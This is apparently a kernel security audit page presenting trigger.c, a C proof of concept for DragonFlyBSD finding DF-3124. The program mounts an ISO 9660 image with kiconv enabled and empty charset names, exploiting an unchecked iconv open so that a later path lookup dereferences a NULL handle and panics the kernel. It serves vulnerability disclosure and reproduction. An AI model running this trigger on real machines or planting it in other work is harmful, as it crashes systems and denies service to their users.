⬢ DragonFlyBSD Kernel Audit
DF-3124 / trigger.c
← back to finding ↓ download raw
/*
 * DF-3124 PoC: cd9660 kiconv mount with a charset pair that fails to open.
 *
 * iso_mountfs() ignores the return value of cd9660_iconv->open()
 * (sys/vfs/isofs/cd9660/cd9660_vfsops.c:494-495).  When the open fails
 * (e.g. empty or unregistered charset names), isomp->im_d2l / im_l2d stay
 * NULL while im_flags still carries ISOFSMNT_KICONV.  The first pathname
 * lookup on the mount goes:
 *
 *   namei -> cd9660_lookup -> isofncmp(..., imp->im_l2d) -> sgetrune()
 *     -> cd9660_iconv->convchr(NULL, ...)     [cd9660_util.c sgetrune]
 *     -> iconv_convchr(NULL) -> KOBJ dispatch through the NULL handle
 *     -> kernel page fault -> panic
 *
 * Build:  cc -O -o trigger trigger.c -I/usr/src/sys
 * Run as root on a box with libiconv.ko + cd9660_iconv.ko loaded and
 * /dev/vn0 configured with the crafted poc.iso.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <vfs/isofs/cd9660/cd9660_mount.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>

#define MNTPOINT "/mnt/poc"

int
main(void)
{
	struct iso_args args;
	struct stat st;

	memset(&args, 0, sizeof(args));
	args.fspec = "/dev/vn0";
	args.flags = ISOFSMNT_KICONV;
	/* cs_local / cs_disk stay empty strings (NUL-terminated, length 0):
	 * iconv_open("", "") cannot find a registered cspair -> ENOENT,
	 * which iso_mountfs silently ignores. */

	if (mount("cd9660", MNTPOINT, MNT_RDONLY, &args) < 0)
		err(1, "mount(cd9660)");
	printf("[+] mount succeeded with ISOFSMNT_KICONV and failed iconv_open "
	    "(im_d2l == im_l2d == NULL)\n");
	printf("[+] triggering namei under the mount ...\n");
	fflush(stdout);

	if (stat(MNTPOINT "/a", &st) < 0)
		printf("[ ] stat failed without panic: %s\n", strerror(errno));
	else
		printf("[ ] stat succeeded\n");

	printf("[ ] no panic -- finding NOT reproduced\n");
	return (0);
}